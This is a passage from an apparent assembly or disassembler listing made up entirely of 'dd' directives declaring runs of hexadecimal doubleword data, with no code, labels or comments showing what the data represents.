		dd 0CF01F6Eh, 0FC520034h, 0F5119D69h, 8F885600h, 9570F93Ah
		dd 0D3E30015h, 17A85167h, 8B00822Bh, 0CF7AEB49h, 9C9DA06h
		dd 11A94B90h, 2D773C80h, 0A601ADD4h, 71761CB4h,	0CCDCFD43h
		dd 0B783B9Bh, 8C66B900h, 5727F8CFh, 868DCE0Fh, 6C652047h
		dd 1B6D46Dh, 639B1CBh, 0F8546A83h, 0C716F5B5h, 2A003497h
		dd 60D2FE46h, 0A4E90028h, 0E7C9B217h, 0D7E64EC7h, 6CB08E07h
		dd 0BE50F423h, 2609AC61h, 83CCC2BAh, 0A65FC164h, 0D4FE6BA8h
		dd 15F1450Eh, 806A4936h, 7D7F8440h, 3EA01C71h, 237C0086h
		dd 0B6F3414h, 0CB413Dh,	0FF37B69h, 132C29h, 56A1530Ch
		dd 350D366Dh, 801FAA00h, 0CAB86150h, 0C05103C3h, 0DE558741h
		dd 0F3E581B0h, 60DB271Eh, 0C6F5C400h, 9C864A9h,	0FE98D145h
		dd 0FF5B1802h, 0AB5E3060h, 0F01F279h, 38D71317h, 0B4344B50h
		dd 952D39EAh, 0AF014584h, 0FDD0802Fh, 6900BD88h, 0D819E02Ch
		dd 78A992CBh, 0C33A2424h, 1CC500C0h, 3DA61426h,	0E2E15400h
		dd 1E0618B3h, 3711244Eh, 5D10BDCh, 0CAE1FC0Eh, 0FC610F88h
		dd 9C909D35h, 0EEF8AB16h, 42564300h, 1E25E3Bh, 6B99857Fh
		dd 2082606Fh, 1F0F8968h, 0C03A1EF6h, 6957DF6Ah,	0E75118B5h
		dd 0C7DB1E70h, 73028F77h, 9647AD77h, 9D00605Ah,	3ED405CEh
		dd 780B375h, 0D2B71C84h, 8C43D73Bh, 0D8C8C9C1h,	170093F0h
		dd 25881E44h, 0ABB24h, 6F4FDFC2h, 55E83FFEh, 16899000h
		dd 0A06CA934h, 0C1510217h, 2FCFEFDDh, 0B8570CE0h, 0E94B380Fh
		dd 0A03C4F6Fh, 0ADA5F3B5h, 642700C9h, 7005BF24h, 0E3145C84h
		dd 0A0456Fh, 36D1DFE8h,	90F78996h, 164D02CCh, 0FAF9B995h
		dd 4A5A9840h, 0C323A918h, 630311h, 3D448047h, 0D1A8D2E8h
		dd 87AC8CC0h, 919BE32h,	0E0F84F5Bh, 0A0805029h,	127F4AF3h
		dd 0EF13B4B0h, 1C4F3FC9h, 54AEE0B8h, 0EA4633E9h, 28679821h
		dd 3DCF896h, 0C304FCBEh, 0B49E9BA4h, 3EF3A31Ch,	0DD30B140h
		dd 1853EB26h, 301DED63h, 0C063466h, 617E7A8Ch, 435E0060h
		dd 0DA237126h, 0D8036654h, 0D1A1DD74h, 45F9A040h, 91B0000Dh
		dd 2EC44447h, 3C185B7Ch, 0B550F29Dh, 9F880139h,	322C3428h
		dd 0E58DE062h, 0B1F8FA00h, 9EC40F24h, 0BA873EC2h, 395C3E4Ch
		dd 0C1440914h, 0AE7B470Fh, 0B30DEC00h, 2207C6B4h, 0FFD8C3D4h
		dd 9FDC6370h, 707CEDh, 8E507431h, 2DBA6BD6h, 0FE4C8704h
		dd 0F8C18F15h, 52606470h, 623D0333h, 2E5F9106h,	3A44A8B8h
		dd 10D1C600h, 9FB1FC02h, 0B5CB005Bh, 0AFEAB01Dh, 0FAF4C7A6h
		dd 0BF00C475h, 457866D8h, 0F40A8D12h, 7A8B0091h, 9DDAC0BAh
		dd 8C002089h, 0FA88E4CDh, 0B68B528h, 9FAD0BACh,	239C90B8h
		dd 0F0E34404h, 68E00758h, 0A1B5127Eh, 809CC2F7h, 2203A078h
		dd 0A4468C5Ch, 40449AECh, 0F4BC5654h, 0C4B200E2h, 0A179CF68h
		dd 0ED1CD989h, 134085AEh, 0DCFEFDA0h, 4C600CDh,	0DE5873C8h
		dd 3500F90Bh, 0B31002C5h, 39AFD5h, 537C184Bh, 17B9D9B5h
		dd 0D120A900h, 51527237h, 0AD5500C4h, 221EFF50h, 2500ECBFh
		dd 8BB9AE95h, 0A0172B3Eh, 0E6D8282h, 0F95FA656h, 23697D20h
		dd 0DB005DF8h, 54B3D7Ch, 162D5291h, 49703B33h, 0D0075B80h
		dd 9204E3AEh, 0D5F040BBh
		dd 80009D25h, 0B39A0871h, 0F6D0A1h, 3289EBF7h, 0C5D61C4Ch
		dd 74A8BF0Fh, 84F8A40Ah, 0AE4ECC90h, 78110663h,	6092D3C9h
		dd 801DAA00h, 0BB441248h, 0E8A4FEB0h, 0AC1824B4h, 543E3CACh
		dd 0E0100C05h, 7088D056h, 8703B2CAh, 659D48D5h,	7940FFE1h
		dd 78912D12h, 28E07C9Ch, 18181A7Ah, 7187E6DCh, 0E801BB13h
		dd 48BC9C3Eh, 0B2ED784Ah, 0C1D74020h, 8BF7C239h, 3BDEF063h
		dd 0DC575F04h, 41809853h, 0C0E401BFh, 37E2CC70h, 5B5DD328h
		dd 97D91358h, 0F7930C00h, 0E8C32B55h, 76110A4Ch, 0A78FDC9h
		dd 4C157Bh, 0D3BDA6D6h,	79007529h, 0FD1A5B38h, 0F4A2F3E9h
		dd 0FB7E87h, 4E63C65Ch,	0BE555784h, 3C70C700h, 0F9BB5F58h
		dd 0A94400E7h, 3468A2A4h, 9AE6BA45h, 0D0ED1D00h, 0B2AB1273h
		dd 62FA00BBh, 0F040ACB4h, 2002869h, 3AE8EC49h, 0E8C78BF1h
		dd 0A5F701DCh, 0BF52174Fh, 0B67B3010h, 9C925E01h, 0F8545C02h
		dd 0D0E900CFh, 0E164FFBDh, 9D1C9E98h, 30FA08EFh, 59621C7h
		dd 534900FEh, 6907417Eh, 0EC00FCB6h, 2545C134h,	28BB4ACFh
		dd 7D28CAFEh, 373F0021h, 8379380Ch, 0EC01176Ch,	53FD3923h
		dd 57304211h, 0CE38C1C1h, 845DC818h, 103D5596h,	80581480h
		dd 0BE342405h, 608A875Ch, 411701Bh, 281D48BAh, 0A20CBB5Ch
		dd 532081h, 1D471CCFh, 0BA3441A1h, 0BCBD39C0h, 307B388h
		dd 8359194Fh, 74D81FE9h, 0D40CADB0h, 88C67B0Dh,	0A1D606D9h
		dd 0C9569DAAh, 0A904707Bh, 0BEFBCDCFh, 49914480h, 6C267687h
		dd 773028C5h, 80007648h, 0ED354FBh, 0BC6606C9h,	87EDC5Bh
		dd 8214560h, 0EF3D34Ch,	0F479D93Dh, 30B6B060h, 8A05461Ah
		dd 895C570h, 805F8401h,	804C33A0h, 31C1FC9h, 0C8BBD010h
		dd 0C16A9C8Bh, 0FF683F1Bh, 8CABF801h, 0B9EA3637h, 6197E720h
		dd 0AA76001Fh, 8F4EC5A1h, 2B00E022h, 7F713C8Ch,	962770Bh
		dd 5D4D20BFh, 93A307h, 0C2914CDEh, 0BAFDD400h, 5681C3F8h
		dd 77AF9A69h, 2C730B54h, 3E008FA0h, 0D86F404Fh,	9FD9A801h
		dd 0D0E7BA39h, 4C1838B1h, 75E200BFh, 1DFCF5BEh,	0BBAD1C1Eh
		dd 62CBC103h, 0F295ACB0h, 65FC3660h, 0A4579600h, 0B4D3E70h
		dd 24F60078h, 43AACF22h, 6062C7Fh, 56B29FD8h, 0B3D14061h
		dd 3FDC9D00h, 595136B0h, 0BC2D0F8Ch, 0EC80B8F3h, 0B4E4B552h
		dd 6154720Ch, 0CDC19C7h, 4811D8B6h, 90411530h, 167B4DCh
		dd 95C307C8h, 8AD832BFh, 8B43F8A0h, 0AAC043Ch, 0AAC0FC33h
		dd 2D578AAh, 7F54C9F1h,	9880BD93h, 4640DF95h, 50A47400h
		dd 0D03E14E6h, 48900036h, 9A5D5B82h, 0D61F8768h, 29C32BD8h
		dd 0CDB9D39h, 0AC16B469h, 3C134181h, 591A2h, 0C85486E2h
		dd 149200A6h, 4DF226F6h, 32DB0269h, 62CF12E2h, 0F33AFBC0h
		dd 0D1CD3100h, 0E94D91BBh, 0DE29008Fh, 214CEB04h, 0FC002D48h
		dd 51CEF5B0h, 1335308Dh, 0FEA083h, 67D9D3Ah, 0A6EC8ACBh
		dd 0CDA4540Fh, 109460F6h, 0FF8FEE2h, 661793DAh,	2FA97EA0h
		dd 7D038DE9h, 0D748F4B6h, 9FDFB042h, 3AAD008Bh,	0AF55A9F0h
		dd 92017BCBh, 4B2FD744h, 0EAC8FE86h, 8F8D00D1h,	9B98E58Ch
		dd 737366E0h, 35A27200h, 554F0690h, 0E21D3256h,	495EFC9h
		dd 0BC890077h, 0E6DD56FBh, 0B528AF00h, 0B8462F40h, 209A4893h
		dd 386CC500h, 0C1D24CD8h, 0C4005075h, 0B2F0C90Ah, 571B841h
		dd 3AF6302Ah, 0ED140402h, 49115F57h, 112BC511h,	992846DEh
		dd 0DB612228h, 0A3143950h, 84A5FB44h, 8D211342h, 94EF1608h
		dd 64113C51h, 8812148h,	0BD90EBFFh, 48C61884h, 0A694595h
		dd 828E914h, 4990E1E2h,	44E9B684h, 64037C35h, 80C8F35Bh
		dd 8E003C55h, 7B6DF6F2h, 4A34B0h, 972770C1h, 3253B1FEh
		dd 0EB867200h, 5BED1914h, 0AAD80056h, 6EB2EEF1h, 0F600E3DDh
		dd 18A9E093h, 44BEC2h, 5B84C567h, 3DB16505h, 78307E7Bh
		dd 0B2462055h, 0C9EA00A9h, 90855B3Ch, 501D7D40h, 36805D02h
		dd 0FBD2036Eh, 0A32B007Bh, 0E29B2353h, 0AB0017F0h, 10F76BFh
		dd 5C7A77h, 216AD858h, 0A4CF486Dh, 9134E900h, 0B8BCF380h
		dd 64F4079Eh, 102FBF86h, 89B3B1BBh, 539A1600h, 7C3F64Ah
		dd 5AEF0249h, 92AE31B8h, 8C283440h, 43EAA503h, 0F89796D2h
		dd 0DBEFE5h, 8EF67367h,	8DC2D63Dh, 0EAFDBE1Eh, 6D206680h
		dd 6AF5B5h, 3221D11Eh, 2FC21AD5h, 45114F00h, 0EC2BB128h
		dd 46C5002Ch, 1B83AE47h, 221C4C2Ah, 0F8811329h,	0F7E6C197h
		dd 6F7420h, 6983EB8Ch, 1DFBC95Ah, 0B6DD0107h, 4C00EE0h
		dd 0A456B0h, 0E8EAB360h, 0B97A3E21h, 7877270Bh,	802309CBh
		dd 0A12DE3A2h, 422C0015h, 895C4952h, 262C8F19h,	7A0045A6h
		dd 0FD4D8810h, 0DE090E59h, 0A1001B2Bh, 0B065D3D9h, 70E57C1Fh
		dd 0F239EC80h, 732B6D5h, 0B3FA4B42h, 3063304Fh,	2C001C2Ah
		dd 17707E66h, 3A61B9E8h, 40802522h, 0C0921078h,	6200880Bh
		dd 0D4E2E718h, 0A0BF3AA5h, 9A19B4h, 94408C1Bh, 37B1CD7Dh
		dd 70BCA300h, 7A018974h, 3E2C0067h, 320B137Bh, 5400AA43h
		dd 0E924ABD9h, 0B16998h, 9C347223h, 27553629h, 30AE48h
		dd 0A98D8E7Eh, 562AB1Bh, 9EF7219Dh, 0A3EC0748h,	157355Fh
		dd 4A12A48Ch, 38FDECA6h, 83D42900h, 91594460h, 34A74826h
		dd 1E955A00h, 0EE405B8Ah, 5D54EC00h, 0C574FDB2h, 0B44F018Eh
		dd 0F26AAF88h, 654420EBh, 0F75C1F1Ch, 428CE743h, 2C919CE4h
		dd 84E0AFCBh, 799E3BEDh, 0D6943483h, 0E7D00FB0h, 0D1CEC83h
		dd 61009D17h, 1C2B5D59h, 760C0029h, 0FFE95EDFh,	88382025h
		dd 0CB2F857Ah, 0F04140ECh, 0E1C1B527h, 1723F4C8h, 59A83Dh
		dd 1240DC51h, 0EE01BBFDh, 0CD335CD1h, 0CBD45B83h, 480D00B8h
		dd 45E04637h, 0B507DABFh, 692E706Eh, 98240339h,	10BEBA4h
		dd 1729DD80h, 0D0916CD1h, 2272190Ch, 32F0E477h,	73345D12h
		dd 0AA111801h, 0B17008ADh, 72D409BFh, 90011401h, 80CD94C9h
		dd 6EEA1A3Eh, 7CF0598Fh, 1965007Dh, 0DAEC486h, 0DA008BA9h
		dd 295264Bh, 24CB7DA2h,	245A64h, 9B631B56h, 33003967h
		dd 79E37EAAh, 743816h, 9C496F94h, 0D9208654h, 7A4E148h
		dd 7C69F3C6h, 5FA50120h, 0EC603915h, 2632D480h,	17DA88D0h
		dd 57C9C200h, 3D790E7Dh, 3AF200EAh, 4C8F25C3h, 0C03A7001h
		dd 7C668202h, 6010464Dh, 3F32E68h, 0E7084F6Eh, 2998B618h
		dd 8A004B9Bh, 0C5C235FCh, 714F7544h, 360F6A5h, 7726B911h
		dd 83E0DEF8h, 2F3E04E2h, 1393812Bh, 0CB214870h,	226FD8h
		dd 0DCCD5284h, 724FCF71h, 0A3B19201h, 0C26BC539h, 16C3F3C0h
		dd 3E140B4h, 6F7988Ch, 1122E5A0h, 8648F560h, 7AC6471h
		dd 856A95A2h, 202BA03Ah, 0A41E965Dh, 25C97F47h,	325800CEh
		dd 0E0F65F10h, 428E04A0h, 3910C51h, 0F0F066A2h,	2690B699h
		dd 608C1F38h, 0E567EF1Eh, 6587B203h, 2577B33h, 7691DA8h
		dd 8060A760h, 4907A559h, 8CF6FC6Eh, 3150A0B0h, 0F23F648h
		dd 0F4ADC363h, 0C7159120h, 5875FE18h, 778CC00h,	5E5E643h
		dd 8A3848F7h, 1698BC00h, 0FF2DE099h, 1AC3EF00h,	2850B99Fh
		dd 0F9E60Ch, 1E054E38h,	0EC1DA7F2h, 1CD46400h, 0EB5E99A9h
		dd 635A02D2h, 42F5DF5Dh, 3A6762C0h, 0D5C9100h, 2E35301Ah
		dd 0B66200A2h, 3F8537DCh, 680FAE3Bh, 0FF21F0BBh, 0D9165B82h
		dd 32A360C6h, 0BCE8001Fh, 8DD61EB6h, 84243851h,	0BA0F9DEBh
		dd 0DB056053h, 0D3613Ch, 6333E049h, 0E32D6B4Ch,	0AB57F00h
		dd 15EAB1C7h, 0D4F6C2h
		dd 442507FDh, 0E07310D3h, 450ED27Fh, 4005A382h,	5C581AB3h
		dd 0C9C70057h, 295085FDh, 2A007489h, 0C3761975h, 381DB73Eh
		dd 8B006825h, 1AE6CD01h, 7007C609h, 27EF04C9h, 3D26E200h
		dd 74550796h, 0B017E1FBh, 9D3AE36Eh, 4B4C7D00h,	888DBE28h
		dd 0CDE41245h, 87B51DC4h, 301AC653h, 7AA46727h,	80D8D33Eh
		dd 7135D076h, 0AC8521h,	77136820h, 0FD796F6Ah, 443A5C7Fh
		dd 8CFE80C8h, 0C07D39BAh, 0C9EADBh, 5BD63414h, 928EDA51h
		dd 7F8A2450h, 79D24200h, 0C690578Dh, 0DC980033h, 9F472234h
		dd 0C173297Dh, 0CC6FE13Fh, 8800716Dh, 50041F76h, 2D8772h
		dd 0F4422979h, 570ED8D2h, 3835F600h, 43A74C18h,	2B7D3854h
		dd 15482100h, 74EA0989h, 9199F400h, 47903B57h, 13C80031h
		dd 8CA54280h, 0BF00B549h, 56CCD0A6h, 767C74h, 5FE56B41h
		dd 0FA70B7DEh, 380C8500h, 11C9C8C4h, 483F0023h,	0FC53907Bh
		dd 0CA128674h, 50003BD7h, 0B3215B49h, 548400DFh, 89F77295h
		dd 0EB00B0A3h, 56EDCFC9h, 0C05EFh, 48394652h, 7DC0879Bh
		dd 6FAA7400h, 29EA20BDh, 0ECCC0EFEh, 0F109365Dh, 0D4AE6400h
		dd 7E000B5Bh, 9ADA34F6h, 0FA336D17h, 3DEB002Eh,	0B439305Ah
		dd 0A400D219h, 0F1DA1D63h, 1D8BEA6h, 807918D3h,	0C04D22CEh
		dd 1A007F19h, 0FB1F117Dh, 631477h, 8B7C6EC2h, 0B87EF4AEh
		dd 0E23C3375h, 4E88004Ah, 0FDF05674h, 2F4D1264h, 0BC660540h
		dd 0C7BF000Ah, 67C1EC1Ah, 8ABDAF00h, 82503ACAh,	0B25B1E27h
		dd 53E7C0DFh, 2C208DCEh, 19CC7600h, 0E964386Dh,	47F00051h
		dd 4DF3A158h, 5F0765BFh, 31D4228Eh, 81FB0CC0h, 933400BAh
		dd 8D722829h, 76742B94h, 0DFCE9500h, 416ABEF4h,	8F050B55h
		dd 760280CCh, 0A460E74Ah, 0F700CA1Eh, 1CA2FFA6h, 362285h
		dd 0B8E0727Ch, 0DA92C80Ch, 2B2330Fh, 0CB0AE04Dh, 30935E2Fh
		dd 73C80BE3h, 76074089h, 20B60FEAh, 0C6E64EB0h,	0D64205A2h
		dd 0F5B8502h, 0E22FA8A5h, 0BEFC2F03h, 0C151FAA8h, 394D7301h
		dd 9C43F242h, 0A9B8C4h,	60A72D10h, 64E59BB1h, 0DF854700h
		dd 0CD8A11F0h, 863E1C74h, 2B4B4081h, 106DA6E1h,	0C30CCECh
		dd 0BD61884h, 733F00F9h, 0E2D7A2FCh, 61307E28h,	9018392Bh
		dd 0F16500F6h, 539BF0D0h, 9F4E7C57h, 830065A8h,	69BA231Eh
		dd 1F0030A8h, 6B4DE907h, 91701h, 38E89222h, 0E6EB9B65h
		dd 0C507AA7Ah, 1EC87040h, 0AFDD0C90h, 79710F2Eh, 0AD007F28h
		dd 98F38C39h, 940011F2h, 0C73754DFh, 12C2B8C6h,	2DCA86Ah
		dd 23C9E5D4h, 0CCE9F061h, 0CD024F1Dh, 0B875894Ch, 5A9CC09Ch
		dd 0E8ED4CA4h, 5BA6D900h, 0CEB430FEh, 0F2996500h, 0D211D742h
		dd 6EA10F6Bh, 0C9201532h, 43DAC6FCh, 1BEB4C07h,	8349A735h
		dd 98E8F688h, 102E8Fh, 8DA59CC2h, 0EE5926B5h, 637E9801h
		dd 4DA9677Fh, 0B8283C60h, 73E4BBh, 713C13EDh, 0B333704Bh
		dd 0AE651D00h, 0DE18C692h, 0C2EE037Ah, 6DACFB32h, 5C282BB0h
		dd 0BDFF4900h, 26CA6E50h, 0F4CE0081h, 83860D36h, 3F00A594h
		dd 3CB17892h, 0FBC4109h, 0F0C3105Dh, 0C16406E1h, 93056004h
		dd 0A8F8EB07h, 15707B22h, 7292D5h, 493155CBh, 18FBB5B7h
		dd 8EFEE200h, 0FCEE20EBh, 0D0143B7Dh, 0AC2EAA96h, 70A01E5h
		dd 5A8EB5AEh, 49DFE8h, 6D3DC2DCh, 60FA4E23h, 7656F0C0h
		dd 78ACF0h, 24152C2Bh, 0E5306C63h, 70B22900h, 0C29E99B8h
		dd 0A07ED8h, 71074A7Bh,	0AC430B95h, 70FC4F00h, 0A5D1B557h
		dd 1CF2EDh, 2998B2EBh, 0C75B5A4Dh, 0B1391E00h, 745942F9h
		dd 0E1BE052h, 0A0E764DCh, 0B3F9420h, 16500624h,	45094FF8h
		dd 0A08E672Dh, 2F863C68h, 12B707E9h, 80D05A38h,	0CC5D7EBBh
		dd 0B9E213F6h, 81A49301h, 55B718ACh, 8C608900h,	0AA076B1Dh
		dd 39CD6640h, 44EE4Ah, 0F3AC20C6h, 58130A46h, 10211B09h
		dd 5D8C8798h, 41C580A0h, 0BA520064h, 9B73E776h,	6E1F8716h
		dd 100E853h, 84EAC60Eh,	2CD800ACh, 0BF7FE9B9h, 58984691h
		dd 318BE8A3h, 1ECE4498h, 8BD69E28h, 8CBBFC00h, 3092C5E2h
		dd 0DF030022h, 0D714AEA5h, 9900EEF3h, 43F455A9h, 90B41EA7h
		dd 85715Ch, 9ECF6974h, 0AE0BA30Fh, 536D6F02h, 0C0B55F76h
		dd 9F3665Ah, 4AAFE49Fh,	0ECB38600h, 0AC3E6CB1h,	64B08FCFh
		dd 7AEB6091h, 0B4FFF5h,	0D0197347h, 2D4B6AADh, 7C6D7401h
		dd 2B55CD7h, 421560h, 7D230BF0h, 28B970C5h, 5D679500h
		dd 0FB371B71h, 5A87E6Ch, 0AC4BBFA9h, 0CDACC099h, 0D6004D38h
		dd 88CDB8Ah, 743EFDEh, 59FB8D2Dh, 78F04187h, 6758C0BFh
		dd 0A2E1821Ch, 0B030D400h, 0D3E553Ch, 0BD9AFC1Ah, 0C7C2C8F8h
		dd 6F4BE400h, 8977045Ch, 0B74E001Ch, 0CA9AAEDh,	0C501B1B6h
		dd 0D5B43F6Ah, 89FCE339h, 0D7A0007Dh, 0F92C70F4h, 0C902160Ch
		dd 9253799Eh, 0C24C004Dh, 75F82BE7h, 12680C3Ch,	3C001783h
		dd 0FFA8B5CEh, 12CB03ABh, 9C894AF8h, 0D82287F0h, 0F1988A00h
		dd 0FA73787Fh, 0C8CE5130h, 0C0402A21h, 0F49409E7h, 89C700FBh
		dd 0B61BF3C3h, 0D4008F79h, 3ABC594Eh, 0B89F0366h, 8342012Fh
		dd 3BFE35E7h, 45F08B17h, 0C87E0A5Ch, 0AA87E100h, 29777Dh
		dd 0BACEE3DCh, 310EBFDFh, 0E86F5900h, 2ECA1AC3h, 0B83B07E1h
		dd 62EC49D6h, 9840EEB6h, 5B3A088Bh, 97300038h, 40BB9474h
		dd 245DEE78h, 0BC3EE3h,	3F00BF5h, 460022E5h, 578E9793h
		dd 2C1C6Ah, 143EC4A2h, 5DD4894Dh, 0BE00CCB8h, 0DB763B68h
		dd 0F0DAF8h, 1AEEBDB6h,	0B12C4A32h, 0A30025E4h,	41E36891h
		dd 0D36F19h, 98FFDF59h,	0DC04D8B5h, 6B96F70Eh, 601CEEC0h
		dd 5E68251Ah, 535A14ECh, 0FA00843Ah, 5BB15075h,	5F2693F3h
		dd 79002AE6h, 23E59125h, 44955862h, 8D80C803h, 0E2D946B7h
		dd 18A824FBh, 5CD6CC16h, 0A05FC000h, 177C2FAh, 7DD8D3A6h
		dd 539D1BB8h, 0F20013ACh, 0CC86779h, 0A0994A7Ch, 7D47ED80h
		dd 0FAF21Ch, 5EA516F2h,	0B76656BDh, 0BBDA4812h,	0EFC7141Ch
		dd 0FDE0FC99h, 93B3763h, 0E15BC38Ch, 85B00B00h,	0D4002FACh
		dd 0C26E3343h, 3D06BCh,	414850CAh, 92F318F9h, 3858F092h
		dd 39741487h, 4C6E2480h, 45D7E803h, 0C848071Eh,	0B065167Ch
		dd 8719A93Fh, 0DBCE640Ch, 3A723034h, 0B217781Dh, 0FABD008Bh
		dd 0BBD14999h, 642E5800h, 3F7FCCDAh, 0B889263Eh, 491C005Bh
		dd 5508EE5Ch, 4F2A8100h, 77922769h, 0B3520AC7h,	98A338h
		dd 0A93C8015h, 4F3A0296h, 0C5550013h, 0B1AFF7A6h, 14047FD9h
		dd 9CBF95EDh, 5D16DD00h, 7305DB89h, 25E4B800h, 0B5AC869Ah
		dd 0AF0D01CDh, 8FBA66EAh, 90207005h, 5E777500h,	74C431FAh
		dd 2245004Ch, 0C9E2FF27h, 0EF039607h, 3461E74Bh, 8E0C4E9h
		dd 920C804Ah, 4D506B00h, 7BAFDF72h, 5627DA9h, 6C326DCCh
		dd 3AAC43DCh, 40A4F0D9h, 8881D5E5h, 5D70098h, 0BFF30359h
		dd 89EA6077h, 730006ECh, 682C225Eh, 40555Dh, 74CCE617h
		dd 50EEA602h, 8B2E051Ch, 818F03C1h, 41C0F92Dh, 0E450B0Ah
		dd 780FACB5h, 483EEE60h, 0CBEA9A65h, 8A0C5BF6h,	20AD889Fh
		dd 3FC00CFh, 0BAED3038h, 85008E50h, 87341524h, 0F6470CADh
		dd 0AA57071Dh, 9060D698h, 4C9E59E8h, 0C1009898h, 0F5BC38CEh
		dd 3EA55535h, 0BE2063BFh, 783A8100h, 0D459C37Dh, 22EF0088h
		dd 0E22EC96Bh, 64000942h, 635C0A3Dh, 7D1723F8h,	0D9E70072h
		dd 9BA7CD54h, 5007F948h, 37918E55h, 7470ABE0h, 14190A78h
		dd 0A05F59h, 0F5FFF208h
		dd 1D00B125h, 8DE08FC1h, 5E0DDEh, 6541F981h, 6DFF56B2h
		dd 0A0D21200h, 6FA518C8h, 63F475h, 0ADE4EC21h, 585CD57Fh
		dd 7DEB5Ch, 4D6AA18Fh, 0A0F4F1C5h, 984270D8h, 0D350071h
		dd 0BA8C2173h, 54906387h, 80CE1B3Fh, 0DEE29A4Dh, 901EACF6h
		dd 551126A1h, 8D04005Dh, 721ADF66h, 0C13B2700h,	0C6EDDD32h
		dd 7EA312A4h, 5608043Fh, 1688E001h, 0BF32CE00h,	51241C8Ch
		dd 0E7EF0044h, 4B330991h, 0A63B4D0Dh, 5ED900DBh, 941BD518h
		dd 23EE0074h, 4B568330h, 0E9E37729h, 699C20A8h,	0BEA7FC02h
		dd 7853863Fh, 7A490048h, 1CA2F847h, 0EE1C9B57h,	8A928001h
		dd 17F17080h, 0F814485Fh, 0E6FB0B00h, 9D2CC70Dh, 635B4E04h
		dd 0BCD3315Dh, 80C3980Ah, 0D8C1006Bh, 77B4A53Ch, 660011FEh
		dd 9C286D04h, 8DD3B7h, 182348EDh, 6C27C6EAh, 6F29F12Eh
		dd 9A145800h, 0F2A128ACh, 0DF2F007Eh, 4B8C0D2Bh, 0D7037631h
		dd 0B8307496h, 0F4F68833h, 1DE00F2h, 5CD0DBCCh,	48264643h
		dd 0E747F016h, 3D8B650h, 5145022Dh, 1102B1D2h, 4BCAFDC0h
		dd 9B46E8A0h, 0D45B4024h, 0B394E080h, 3541FFCh,	0EFBA3CE1h
		dd 88982E89h, 7AEAB4AFh, 48C1F700h, 453C9E3Bh, 26E000ECh
		dd 7D1A4105h, 0B4240D5Bh, 3D00A8B1h, 0F9274FEAh, 161501D3h
		dd 0CCC1AC2h, 7AE52037h, 7EDB2F00h, 0A58936B1h,	8F0600D9h
		dd 39DE14BFh, 3500FAD7h, 403F73EFh, 53799D4h, 0E7506433h
		dd 6ACC00B3h, 3796826h,	785B6300h, 0B481CBBBh, 0D3FD0011h
		dd 6B1C4170h, 0A800EB36h, 0ECBE4E44h, 725D12h, 0D41EA024h
		dd 299B61B1h, 0D0D2A600h, 0DC31C70h, 7B5D123Bh,	31DC0519h
		dd 67FBC0AEh, 320302D6h, 95121C33h, 4051923Dh, 2A4FB4h
		dd 8EB5DCABh, 0C33A6910h, 4BAE7900h, 6AFBBEBFh,	19E029h
		dd 5ED716ADh, 148E66E7h, 0A13D9800h, 0DD6956AFh, 0EEF80EB2h
		dd 2C00A817h, 0ABF74E77h, 8FE64409h, 13B0A5E9h,	2A7A9080h
		dd 0EC5B4C3Eh, 1E123C3Dh, 0A99707AFh, 0CB749090h, 3A3871BFh
		dd 9D4BB828h, 0E900B8F6h, 11A5913Dh, 2C95E69Ch,	900A726h
		dd 1480EAEDh, 0B2401C2Dh, 7FA8ACA0h, 0E412D026h, 836D2B40h
		dd 0B6D90090h, 0C25D84FDh, 8224C85Bh, 0F00F7CE2h, 57007F0Bh
		dd 8535E183h, 6E902472h, 5EB2006Ch, 98FE0461h, 1C78E400h
		dd 0E089A395h, 814200BEh, 0C9FD9C9Dh, 6400B05Dh, 8A6D952h
		dd 3E1F6105h, 73ACBD49h, 3601BB18h, 28ECC6C7h, 832EE803h
		dd 97FC90B2h, 7ABC8C00h, 2FA7F8D8h, 527D00EAh, 6AE432CFh
		dd 0FB098128h, 0C0261CC4h, 7E0E2998h, 67091D9Ah, 0D7CE403Ah
		dd 63F99351h, 6FBAFB03h, 0A0236AE1h, 0B82F6243h, 0A3D5008Bh
		dd 9733B124h, 5F000B51h, 0AB67A86Ch, 4CE52766h,	0FA0010F3h
		dd 0B1809798h, 0F8009EE9h, 0C7860809h, 0DEED3Bh, 17BBC35Dh
		dd 0D88464B4h, 9F60D970h, 9DBD2016h, 18FF4883h,	1434D100h
		dd 0B372F79h, 49153CCFh, 7F6500C7h, 0ECA05EFh, 18E1DA0Eh
		dd 0C4A6F3A0h, 3C020C88h, 0C2E7AB58h, 936048F4h, 56AA1CA4h
		dd 8C67C082h, 603F9214h, 20FA1769h, 7952DB80h, 30F23C86h
		dd 0D006C30Eh, 0B2300052h, 6E0CFAE3h, 3AC4BD00h, 0F046CD63h
		dd 9338DEF2h, 0A0780E09h, 9CFB3D40h, 2304316Ch,	775A14D5h
		dd 3F043080h, 0B2BF009Dh, 4D87F725h, 0CB1D4B39h, 0BAC38F8Ch
		dd 0C8210EFBh, 12B8F563h, 260E6h, 57725597h, 88C04A12h
		dd 0B573A233h, 0F56E0166h, 0EB4E6B7Bh, 6562053h, 8AD5D20Fh
		dd 0CC502038h, 0FCABF1F6h, 0BEDE8B4h, 0B897128Dh, 559A34A3h
		dd 1062918Ah, 3120BCC0h, 44D8C200h, 828C46F0h, 0DA75F5h
		dd 0D6C96169h, 9BC1856Fh, 45D0AB00h, 3BF714B9h,	7F3A389Fh
		dd 57C65B85h, 1D7080DFh, 9C006498h, 0CD6180A7h,	0EC3BB468h
		dd 2B2D1C50h, 584E007Bh, 0ADFC3AB5h, 47020B90h,	0E9D86A6Bh
		dd 4CA470FEh, 0CC01D95Bh, 92F85CEh, 11FAD806h, 0AB9E8200h
		dd 48E573DDh, 0C49E15h,	71725334h, 0CA01A91Eh, 0D267A3E1h
		dd 49FC6AE7h, 88F4B1h, 276F7237h, 5898332Ah, 0FE215700h
		dd 5D909DC3h, 50C70348h, 10CA25DFh, 5AD891D3h, 0FD03E24Eh
		dd 89D8474Fh, 24B9808Ch, 445C3E60h, 8D3A2300h, 2670B677h
		dd 15C76B03h, 98B9D60Eh, 78FF5Bh, 592E143h, 7E247931h
		dd 445F6E01h, 0F951E284h, 0BEE9C440h, 9815009Fh, 0C60B2503h
		dd 0E4F8C022h, 0B9B21014h, 0A90400A8h, 50EFC853h, 617C00ADh
		dd 7E335FF1h, 85751F3Dh, 2D3E2C17h, 5DDCD000h, 4FDA783h
		dd 897781A1h, 0F6C0A0B8h, 366FBF01h, 0CE5B3C79h, 255EE4D0h
		dd 0EC83D5B2h, 0D9E34C73h, 499759E0h, 14F549h, 0B6BE20CDh
		dd 3A26947Bh, 5B0FF3D1h, 1A2006D8h, 0C781F750h,	0C30079E2h
		dd 3473C662h, 0E8B38B5Bh, 9A3E30EFh, 94A3D048h,	0DE608303h
